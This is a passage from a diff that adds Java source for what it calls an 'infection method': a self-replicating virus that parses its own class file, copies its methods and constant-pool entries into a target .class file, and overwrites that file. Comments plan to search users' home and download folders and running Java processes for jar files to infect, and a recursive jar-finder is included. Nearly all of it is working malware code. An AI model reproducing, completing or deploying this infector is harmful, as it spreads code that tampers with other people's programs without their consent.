== 16){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 18){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + b.put(orig_constant[2]); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else{ + return -1; + } + } + + /** + * Find jar files given a directory + * @param f + * @return + */ + public static void searchFile(File file, ArrayList fileList) { + File[] files = file.listFiles(); + if (files != null) { + for (File f : file.listFiles()) { + if (f.isFile() && f.getName().endsWith(".jar")) { + System.out.println("Added " + f.getAbsolutePath()); + fileList.add(f); + } else if (f.isDirectory() && f.canRead()) { + searchFile(f, fileList); + } + } + } + + } + /** + * This is our main infection method. + * We need to determine the target classfile name when we're copying this + * because you can't figure out what class you're in while you're using a + * static method. Can't call a method without a class unless the method is + * statis, so we're at a bit of a catch-22. The solution is simple to hardcode + * the class in the propagated bytecode. + * + * We need to know if we can just inject static methods or not. It seems like either + * way you'd still need to change the constant pool. + */ + public static void Cheshire() throws IOException { + System.out.println("We're all mad down here...you may notice that I'm not all there myself."); + + /** + * What logic do we want to implement? + * Search folders for jar files, open them, look for main classes and infect? + * Sounds good. How do we get our current path? Also need to know if on Linux or Windows. + * Scan user dirs, home folders, downloads and look for running Java processes if on applicable version. + */ + String h = MethodHandles.lookup().lookupClass().getResource(MethodHandles.lookup().lookupClass().getName() + ".class").getPath(); + System.out.println(h); + String selfpath = SelfExamine.class.getProtectionDomain().getCodeSource().getLocation().getPath().replace("file:", "") + "SelfExamine.class"; + System.out.println(selfpath); + String OS = (String) System.getProperties().get("os.name"); + String homedir = (String) System.getProperties().get("user.home"); + File home = new File(homedir); + File fa = new File("dongs.txt"); + fa.createNewFile(); + + + System.out.println("Detected OS is " + OS); + System.out.println("Home directory is " + homedir); + File f = new File("."); + System.out.println("Absolute path:" + f.getAbsolutePath()); + System.out.println("Directory listing:"); + + for(String s : f.list()){ + System.out.println(s); + } + System.out.println(f.list()); + selfpath = selfpath.substring(1); + HashMap parsedClass = parseClassFile(selfpath); + HashMap goatClass = parseClassFile("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class"); + findOurMethods(parsedClass, goatClass); + inject(parsedClass, goatClass); + + FileOutputStream fos = new FileOutputStream(new File("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class")); + byte[] classbytes = classBytes(goatClass); + fos.write(classbytes); + fos.close(); + + } + + /** + * Return a hashmap with all of our shit in it. + * We want to break this down into a hashmap of the sections + * with maybe an arraylist of...objects? How do we keep the complexity low? + * Store them as bytes? Do I even need to write a full parser? Probably not. + * + * + * @param classfilepath + * @return + * @throws IOException + */ + public static HashMap parseClassFile(String classfilepath) { + try { + + Paths.get(classfilepath); + byte[] classbytes = Files.readAllBytes(Paths.get(classfilepath)); + + DataInputStream dis = new DataInputStream(new ByteArrayInputStream(classbytes)); + byte[] magic = new byte[4]; + + HashMap parsedClass = new HashMap(); + dis.read(magic); + StringBuilder sb = new StringBuilder(); + + for (byte b : magic) { + sb.append(String.format("%02X", b)); + } + + if (sb.toString().equals("CAFEBABE")) { + parsedClass.put("magic", magic); + byte[] minor_version = new byte[2]; + dis.read(minor_version); + parsedClass.put("minor_version", minor_version); + byte[] major_version = new byte[2]; + dis.read(major_version); + parsedClass.put("major_version", major_version); + byte[] constant_pool_count = new byte[2]; + dis.read(constant_pool_count); + parsedClass.put("constant_pool_count", constant_pool_count); + int constant_count_int = (short) (((constant_pool_count[0] & 0xFF) << 8) | (constant_pool_count[1] & 0xFF)); + byte[][] constant_pool = new byte[constant_count_int-1][]; + + for (int i = 0; i < constant_count_int-1; i++) { + + byte tagbyte = dis.readByte(); + int tag = tagbyte; + + if (tag == 7) { + // CONSTANT_Class_info + byte[] class_info_bytes = new byte[3]; + class_info_bytes[0] = tagbyte; + class_info_bytes[1] = dis.readByte(); + class_info_bytes[2] = dis.readByte(); + constant_pool[i] = class_info_bytes; + } else if (tag == 9) { + //Constant_Fieldref + byte[] fieldref_info_bytes = new byte[5]; + fieldref_info_bytes[0] = tagbyte; + fieldref_info_bytes[1] = dis.readByte(); + fieldref_info_bytes[2] = dis.readByte(); + fieldref_info_bytes[3] = dis.readByte(); + fieldref_info_bytes[4] = dis.readByte(); + constant_pool[i] = fieldref_info_bytes; + } else if (tag == 10) { + //Constant_Methodref + byte[] methodref_info_bytes = new byte[5]; + methodref_info_bytes[0] = tagbyte; + methodref_info_bytes[1] = dis.readByte(); + methodref_info_bytes[2] = dis.readByte(); + methodref_info_bytes[3] = dis.readByte(); + methodref_info_bytes[4] = dis.readByte(); + constant_pool[i] = methodref_info_bytes; + } else if (tag == 11) { + //Constant_InterfaceMethodref + byte[] interfacemethodref_info_bytes = new byte[5]; + interfacemethodref_info_bytes[0] = tagbyte; + interfacemethodref_info_bytes[1] = dis.readByte(); + interfacemethodref_info_bytes[2] = dis.readByte(); + interfacemethodref_info_bytes[3] = dis.readByte(); + interfacemethodref_info_bytes[4] = dis.readByte(); + constant_pool[i] = interfacemethodref_info_bytes; + } else if (tag == 8) { + //Constant_String + byte[] string_info_bytes = new byte[3]; + string_info_bytes[0] = tagbyte; + string_info_bytes[1] = dis.readByte(); + string_info_bytes[2] = dis.readByte(); + constant_pool[i] = string_info_bytes; + } else if (tag == 3) { + //Constant_Integer + byte[] integer_info_bytes = new byte[5]; + integer_info_bytes[0] = tagbyte; + integer_info_bytes[1] = dis.readByte(); + integer_info_bytes[2] = dis.readByte(); + integer_info_bytes[3] = dis.readByte(); + integer_info_bytes[4] = dis.readByte(); + constant_pool[i] = integer_info_bytes; + } else if (tag == 4) { + //Constant_Float + byte[] float_info_bytes = new byte[5]; + float_info_bytes[0] = tagbyte; + float_info_bytes[1] = dis.readByte(); + float_info_bytes[2] = dis.readByte(); + float_info_bytes[3] = dis.readByte(); + float_info_bytes[4] = dis.readByte(); + constant_pool[i] = float_info_bytes; + } else if (tag == 5) { + //Constant_Long + byte[] long_info_bytes = new byte[9]; + long_info_bytes[0] = tagbyte; + long_info_bytes[1] = dis.readByte(); + long_info_bytes[2] = dis.readByte(); + long_info_bytes[3] = dis.readByte(); + long_info_bytes[4] = dis.readByte(); + long_info_bytes[5] = dis.readByte(); + long_info_bytes[6] = dis.readByte(); + long_info_bytes[7] = dis.readByte(); + long_info_bytes[8] = dis.readByte(); + constant_pool[i] = long_info_bytes; + } else if (tag == 6) { + //Constant_Double + byte[] double_info_bytes = new byte[9]; + double_info_bytes[0] = tagbyte; + double_info_bytes[1] = dis.readByte(); + double_info_bytes[2] = dis.readByte(); + double_info_bytes[3] = dis.readByte(); + double_info_bytes[4] = dis.readByte(); + double_info_bytes[5] = dis.readByte(); + double_info_bytes[6] = dis.readByte(); + double_info_bytes[7] = dis.readByte(); + double_info_bytes[8] = dis.readByte(); + constant_pool[i] = double_info_bytes; + } else if (tag == 12) { + //Constant_NameAndType + byte[] nameandtype_info_bytes = new byte[5]; + nameandtype_info_bytes[0] = tagbyte; + nameandtype_info_bytes[1] = dis.readByte(); + nameandtype_info_bytes[2] = dis.readByte(); + nameandtype_info_bytes[3] = dis.readByte(); + nameandtype_info_bytes[4] = dis.readByte(); + constant_pool[i] = nameandtype_info_bytes; + } else if (tag == 1) { + //Constant_Utf8 + byte[] lengthbytes = new byte[2]; + lengthbytes[0] = dis.readByte(); + lengthbytes[1] = dis.readByte(); + int length = (short) (((lengthbytes[0] & 0xFF) << 8) | (lengthbytes[1] & 0xFF)); + byte[] utf_bytes = new byte[3 + length]; + utf_bytes[0] = tagbyte; + utf_bytes[1] = lengthbytes[0]; + utf_bytes[2] = lengthbytes[1]; + for (int a = 0; a < length; a++) { + utf_bytes[a + 3] = dis.readByte(); + } + constant_pool[i] = utf_bytes; + } else if (tag == 15) { + //Constant_MethodHandle + byte[] methodhandle_info_bytes = new byte[4]; + methodhandle_info_bytes[0] = tagbyte; + methodhandle_info_bytes[1] = dis.readByte(); + methodhandle_info_bytes[2] = dis.readByte(); + methodhandle_info_bytes[3] = dis.readByte(); + constant_pool[i] = methodhandle_info_bytes; + } else if (tag == 16) { + //Constant_MethodType + byte[] methodtype_info_bytes = new byte[3]; + methodtype_info_bytes[0] = tagbyte; + methodtype_info_bytes[1] = dis.readByte(); + methodtype_info_bytes[2] = dis.readByte(); + constant_pool[i] = methodtype_info_bytes; + } else if (tag == 18) { + //Constant_InvokeDynamic + byte[] invokedynamic_info_bytes = new byte[5]; + invokedynamic_info_bytes[0] = tagbyte; + invokedynamic_info_bytes[1] = dis.readByte(); + invokedynamic_info_bytes[2] = dis.readByte(); + invokedynamic_info_bytes[3] = dis.readByte(); + invokedynamic_info_bytes[4] = dis.readByte(); + constant_pool[i] = invokedynamic_info_bytes; + } else { + } + + } + parsedClass.put("constant_pool", constant_pool); + byte[] access_flags = new byte[2]; + dis.read(access_flags); + parsedClass.put("access_flags", access_flags); + byte[] this_class = new byte[2]; + dis.read(this_class); + parsedClass.put("this_class", this_class); + byte[] super_class = new byte[2]; + dis.read(super_class); + parsedClass.put("super_class", super_class); + byte[] interfaces_count = new byte[2]; + dis.read(interfaces_count); + parsedClass.put("interfaces_count", interfaces_count); + + int iface_count = (short) (((interfaces_count[0] & 0xFF) << 8) | (interfaces_count[1] & 0xFF)); + byte[][] interfaces = new byte[iface_count][]; + + for (int iface_loop = 0; iface_loop < iface_count; iface_loop++) { + byte[] iface = new byte[2]; + iface[0] = dis.readByte(); + iface[1] = dis.readByte(); + interfaces[iface_loop] = iface; + } + + parsedClass.put("interfaces", interfaces); + + byte[] fields_count = new byte[2]; + dis.read(fields_count); + parsedClass.put("fields_count", fields_count); + int f_count = (short) (((fields_count[0] & 0xFF) << 8) | (fields_count[1] & 0xFF)); + + byte[][] fields = new byte[f_count][]; + + for (int fields_loop = 0; fields_loop < f_count; fields_loop++) { + ByteArrayOutputStream field = new ByteArrayOutputStream(); + byte[] fieldfixed = new byte[8]; + dis.read(fieldfixed); + field.write(fieldfixed); + int attributes_count = (short) (((fieldfixed[6] & 0xFF) << 8) | (fieldfixed[7] & 0xFF)); + for (int attributes = 0; attributes < attributes_count; attributes++) { + ByteArrayOutputStream attribute = new ByteArrayOutputStream(); + byte[] attribute_name_index = new byte[2]; + byte[] attribute_length = new byte[4]; + dis.read(attribute_name_index); + dis.read(attribute_length); + int attribute_len = ByteBuffer.wrap(attribute_length).getInt(); + byte[] info = new byte[attribute_len]; + dis.read(info); + attribute.write(attribute_name_index); + attribute.write(attribute_length); + attribute.write(info); + field.write(attribute.toByteArray()); + } + fields[fields_loop] = field.toByteArray(); + } + + parsedClass.put("fields", fields); + + byte[] methods_count = new byte[2]; + dis.read(methods_count); + + parsedClass.put("methods_count", methods_count); + + int method_count = (short) (((methods_count[0] & 0xFF) << 8) | (methods_count[1] & 0xFF)); + + byte[][] methods = new byte[method_count][]; + + for (int methods_loop = 0; methods_loop < method_count; methods_loop++) { + ByteArrayOutputStream methodbytes = new ByteArrayOutputStream(); + byte[] methodfixed = new byte[8]; + dis.read(methodfixed); + int attribute_count = (short) (((methodfixed[6] & 0xFF) << 8) | (methodfixed[7] & 0xFF)); + ByteArrayOutputStream method_attributes = new ByteArrayOutputStream(); + + for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) { + ByteArrayOutputStream attribute = new ByteArrayOutputStream(); + byte[] attribute_name_index = new byte[2]; + byte[] attribute_length = new byte[4]; + dis.read(attribute_name_index); + dis.read(attribute_length); + int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt(); + byte[] attribute_bytes = new byte[attribute_length_int]; + dis.read(attribute_bytes); + attribute.write(attribute_name_index); + attribute.write(attribute_length); + attribute.write(attribute_bytes); + method_attributes.write(attribute.toByteArray()); + } + methodbytes.write(methodfixed); + methodbytes.write(method_attributes.toByteArray()); + methods[methods_loop] = methodbytes.toByteArray(); + } + parsedClass.put("methods", methods); + + byte[] attributes_count = new byte[2]; + + dis.read(attributes_count); + + parsedClass.put("attributes_count", attributes_count); + + int attribute_count = (short) (((attributes_count[0] & 0xFF) << 8) | (attributes_count[1] & 0xFF)); + + byte[][] attributes = new byte[attribute_count][]; + + for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) { + ByteArrayOutputStream attribute = new ByteArrayOutputStream(); + byte[] attribute_name_index = new byte[2]; + byte[] attribute_length = new byte[4]; + dis.read(attribute_name_index); + dis.read(attribute_length); + attribute.write(attribute_name_index); + attribute.write(attribute_length); + int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt(); + byte[] attribute_bytes = new byte[attribute_length_int]; + dis.read(attribute_bytes); + attribute.write(attribute_bytes); + attributes[attribute_loop] = attribute.toByteArray(); + } + parsedClass.put("attributes", attributes); + dis.close(); + //fis.close(); + return parsedClass; + + } else { + return null; + } + } + catch(IOException e){ + e.printStackTrace(); + } + return null; + }; + + /** + * Convert a manipulated class back to bytes for writing. + * @param parsedClass + * @return + * @throws IOException + */ + public static byte[] classBytes(HashMap parsedClass) throws IOException { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + bos.write((byte[]) parsedClass.get("magic")); + bos.write((byte[]) parsedClass.get("minor_version")); + bos.write((byte[]) parsedClass.get("major_version")); + byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); + int cp_length = constant_pool.length + 1; + + ByteBuffer b = ByteBuffer.allocate(2); + b.putShort((short) cp_length); + byte[] cp_length_bytes = b.array(); + bos.write(cp_length_bytes); + + for(int i = 0; i < constant_pool.length; i++){ + bos.write(constant_pool[i]); + } + bos.write((byte[]) parsedClass.get("access_flags")); + bos.write((byte[]) parsedClass.get("this_class")); + bos.write((byte[]) parsedClass.get("super_class")); + bos.write((byte[]) parsedClass.get("interfaces_count")); + byte[][] interfaces = (byte[][]) parsedClass.get("interfaces"); + for(int i = 0; i < interfaces.length; i++){ + bos.write(interfaces[i]); + } + bos.write((byte[]) parsedClass.get("fields_count")); + byte[][] fields = (byte[][]) parsedClass.get("fields"); + for(int i = 0; i < fields.length; i++){ + bos.write(fields[i]); + } + + byte[][] methods = (byte[][]) parsedClass.get("methods"); + + b.clear(); + b.putShort((short) methods.length); + byte[] methods_count = b.array(); + bos.write(methods_count); + for(int i = 0; i < methods.length; i++){ + bos.write(methods[i]); + } + + bos.write((byte[]) parsedClass.get("attributes_count")); + + byte[][] attributes = (byte[][]) parsedClass.get("attributes"); + for(int i = 0; i < attributes.length; i++){ + bos.write(attributes[i]); + } + + return bos.toByteArray(); + } + + public static void main(String[] args) throws IOException{ + Cheshire(); + System.exit(0); + } +}